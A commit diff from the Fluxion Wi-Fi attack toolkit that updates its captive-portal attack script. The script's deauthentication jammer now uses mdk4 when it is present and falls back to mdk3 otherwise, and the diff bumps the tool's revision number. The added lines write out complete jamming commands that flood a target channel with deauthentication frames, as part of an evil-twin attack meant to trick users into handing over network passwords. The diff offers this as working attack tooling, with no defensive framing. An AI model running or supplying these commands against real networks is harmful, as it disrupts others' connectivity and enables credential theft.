Use mdk4 if available for Captive Portal jamming

attacks/Captive Portal/attack.sh

@@ -1500,11 +1500,22 @@ start_attack() {
     # Save parent's pid, to get to child later.
     CaptivePortalJammerServiceXtermPID=$!
   else
+
+	if ! [ -x "$(command -v mdk4)" ];then
     	xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
         -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
         "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
     	# Save parent's pid, to get to child later.
     	CaptivePortalJammerServiceXtermPID=$!
+	
+	else
+	xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \
+        -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \
+        "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" &
+        # Save parent's pid, to get to child later.
+    	CaptivePortalJammerServiceXtermPID=$!
+	fi
+
   fi
 
   echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"

fluxion.sh

@@ -22,7 +22,7 @@ readonly FLUXIONNoiseFloor=-90
 readonly FLUXIONNoiseCeiling=-60
 
 readonly FLUXIONVersion=5
-readonly FLUXIONRevision=6
+readonly FLUXIONRevision=7
 
 # Declare window ration bigger = smaller windows
 FLUXIONWindowRatio=4